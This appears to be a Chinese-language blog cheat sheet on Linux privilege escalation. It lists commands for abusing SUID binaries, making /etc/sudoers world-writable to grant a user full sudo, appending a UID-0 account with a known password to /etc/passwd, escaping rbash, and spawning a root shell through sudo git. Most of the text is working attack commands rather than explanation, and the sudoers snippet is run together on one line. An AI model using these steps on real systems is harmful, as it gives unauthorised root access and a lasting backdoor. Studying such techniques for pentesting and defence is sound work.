一、SUID提权
前提条件:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效
1、设置SUID权限:(root权限)
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
2、 收集具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null
SUID提权 - hello_bao - 博客园 (cnblogs.com)
二、sudoers提权
前提条件:/etc/sudoers 如果为当前权限可更改,则可进行写入普通用户sudo权限
chmod 777 /etc/sudoers
# User privilege specificationroot ALL=(ALL:ALL) ALL#在这添加new_user的sudo 权限new_user ALL=(ALL:ALL) ALL# Allow members of group sudo to execute any command%sudo ALL=(ALL:ALL) ALL
修改完将sudoers权限修改回去
chmod 440 /etc/sudoers
普通用户可进行sudo 执行root权限命令
sudo systemctl start ssh
三、重要软件或文件配置不当提权
nps提权
当nfs配置了读写权限且允许客户端以root访问时,就会存在该漏洞
passwd提权
如果当前用户有修改/etc/passwd的权限则可以添加一个root权限用户:
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
账号:test 密码:password@123
四、rbash逃逸
前提条件:当前用户shell为普通用户且有可以利用的命令
确定在rbash权限下:echo $PATH
确定可以使用的命令:compgen -c
【渗透测试】--- rbash逃逸方法简述-CSDN博客
五、git提权
前提条件:当前用户可以使用sudo中git权限
查看sudo -l 如果 有 (root) NOPASSWD: /usr/bin/git 则可以提权
以下两种二选一:
sudo git help config #在末行命令模式输入!/bin/bash 或 !'sh' #完成提权sudo git -p help!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell